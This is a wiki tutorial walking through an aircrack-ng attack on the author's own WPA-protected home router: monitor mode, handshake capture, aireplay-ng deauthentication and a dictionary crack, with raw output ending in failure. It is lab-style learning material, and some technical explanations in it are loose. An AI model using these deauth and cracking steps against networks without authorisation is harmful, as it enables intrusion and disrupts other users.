Aircrack/WPA Cracking
From charlesreid1
Now that we've successfully walked through setting up our router as a WEP access point and cracked it on the Aircrack/WEP Cracking page, let's try attacking a WPA encrypted network.
Note that WPA and WPA2 are different. See below for notes.
The Background
As with the WEP attack we covered, this attack will use aircrack-ng to capture lots and lots of packets, then use those packets to brute-force guess the wireless network's passphrase.
WPA or WPA2?
The two are actually different, and as you'd guess, WPA is the weaker one, WPA2 is stronger and improved. However, as with anything in security, the chain is only as strong as the weakest link, which means that routers with WPA or WPA2 enabled are still vulnerable to WPA attacks.
In fact, my wireless router even recommends that I use a WPA-WPA2 mixed mode!
The Hardware
The hardware for simulating this attack on my home network consisted of:
- a router/wireless access point - this router controls the wireless network being attacked
- a laptop running Kali Linux - this is where the attack is being launched from
- a third party on the network (e.g., a phone or a desktop) - not sure if this is necessary
The Software
You'll need a laptop running Kali, which will have aircrack-ng installed. That should be all the software you need.
The Procedure
Set Router to WPA
Before doing anything else, we'll change the wireless security protocol of the router to either WPA or mixed WPA/WPA2 encryption.
Now let's pick an easy password, for the sake of example. Like, uh, the word password.
Now we've got our WPAWPA2-enabled router with our super-secure password of "password" - time to get to work.
Check Wireless Devices
Now that you have your WPAWPA2 network enabled, open up your Kali laoptop. Check the wireless devices available on the computer:
$ iwconfig
Once again, we'll be using the Panda Wireless USB dongle at wlan2.
Switch Wireless Device to Monitor Mode
Now use Aircrack to put the wireless device into monitoring mode:
$ airmon-ng start wlan2
This will take wlan2 down and replace it with wlan2mon.
Now we're ready to scan available networks and find our WPAWPA2 router.
Scan Networks
Now you can scan the wireless access points around you by running:
airodump-ng wlan2mon
Make a note of your target router's channel number and MAC address.
Begin the Attack
Tip: you should probably change your mac address before you get started. See Kali/Change MAC Address
Window 1: Monitor Traffic on the Network
In the first window, monitor traffic going to/from the target router by running a more targeted airodump-ng:
$ airodump-ng --bssid AA:BB:CC:DD:EE -c XX -w aircrack_output wlan2mon
Connect Third Party to Network
The weakness we're taking advantage of in WPA is the handshake process: when a client authenticates with the network and sends the encrypted password so the network can verify the client. If an attacker captures packets during this handshake process, they have the encrypted password and can try and crack it by brute force.
What this means for us is, we have to witness the handshake process. So don't connect your third party to the network until you're ready and monitoring traffic.
When you're ready, connect your third party device to the network.
Window 2: Artificially Stimulate Packet Traffic
WARNING: The purpose of this step is unclear.
Note: Before doing the following step, you should close any terminal window that is running a scan of all available networks. This type of scan causes the card to constantly hop around on channels, which will cause errors about a mismatching channel between your target and your wireless device.
In window 2, we'll use ifconfig to get our own MAC address, then we'll use aireplay to craft packets:
$ ifconfig $ aireplay-ng --deauth 1 -a <target mac address> -c <third party mac address> wlan2mon
This will generate fake deauthentication packets, making the third party client connected to the wireless network think they've been deauthenticated, and thus re-sending their authentication credentials (including their password).
This is Attack Mode Zero in the Aircrack manual.
Analysis
Now we've got what we need in our network capture file. Let's try and crack this password.
I downloaded a list of the 10,000 most common passwords (hint: ours is number one on the list) from SecLists on GitHub.
Run Aircrack against the captured data to crack the WPA key, specifying the 10k most common passwords as my wordlist:
aircrack-ng -w ./10k_most_common.txt aircrack_output-05.cap
Opening aircrack_output-05.cap
Read 81013 packets.
# BSSID ESSID Encryption
1 74:85:2A:97:5B:08 Walrus WPA (1 handshake)
Choosing first network as target.
Opening aircrack_output-05.cap
Reading packets, please wait...
Aircrack-ng 1.2 rc2
[00:00:00] 192 keys tested (1269.55 k/s)
[00:00:00] 392 keys tested (1287.03 k/s)
Current passphrase: cadillac
[00:00:00] 592 keys tested (1298.17 k/s)
Current passphrase: mariners
Master Key [00:00:00] 788 keys tested (1293.03 k/s)D8 A2 0A 61
Current passphrase: commando
Master Key [00:00:00] 988 keys tested (1293.68 k/s)53 1E 22 F4
Transient Key : Current passphrase: films+pic+galeries
Master Key [00:00:00] 1188 keys tested (1297.01 k/s)2 B4 8F 19
Transient Key : Current passphrase: vikings1
Master Key [00:00:01] 1384 keys tested (1298.15 k/s)D 64 31 3D
Transient Key : Current passphrase: hotmail1
Master Key [00:00:01] 1580 keys tested (1298.30 k/s)C F2 54 2D
Transient Key : Current passphrase: aviation
Master Key [00:00:01] 1776 keys tested (1298.07 k/s)9 65 C7 52
Transient Key : Current passphrase: riffraff
Master Key [00:00:01] 1964 keys tested (1293.49 k/s)5 DD 08 AF
Transient Key : Current passphrase: smirnoff
Master Key : EE 79 F1 E6 3B EF 37 9C A3 19 51 A8 23 CF 0D 46
Transient Key : Current passphrase: skeeter1
Master Key : 60 C0 2086 24 0B 1C 72 9A 86 17 74 52 08 A8 90
Transient Key : B3 18 CB 94 68 ED 4C 8A 67 DF 0C D6 29 66 8A DB
Master Key : 35 33 85 0F 54 DC 5F 69 24 54 04 CE D6 D6 C9 D9
Transient Key : 2F A2 7C 56 47 49 2B 81 68 37 3B 69 67 FF AF DE
EAPOL HMAC : 14 24 17 98 75 9D E4 AE EB F1 5E BC D2 20 30 CE
Transient Key : 21 B2 25 2B 69 56 60 2D BD 87 18 97 10 07 91 84
EAPOL HMAC : 06 14 B6 BE 7B 44 9C B1 51 65 C4 85 BF F7 FF D9
3D A3 16 29 55 33 10 70 C5 B0 59 B6 11 1B 2C 9E
EAPOL HMAC : 69 89 39 67 39 D8 95 C3 33 26 A7 9B 31 53 B3 B7
Passphrase not in dictionary
Quitting aircrack-ng...
Oh?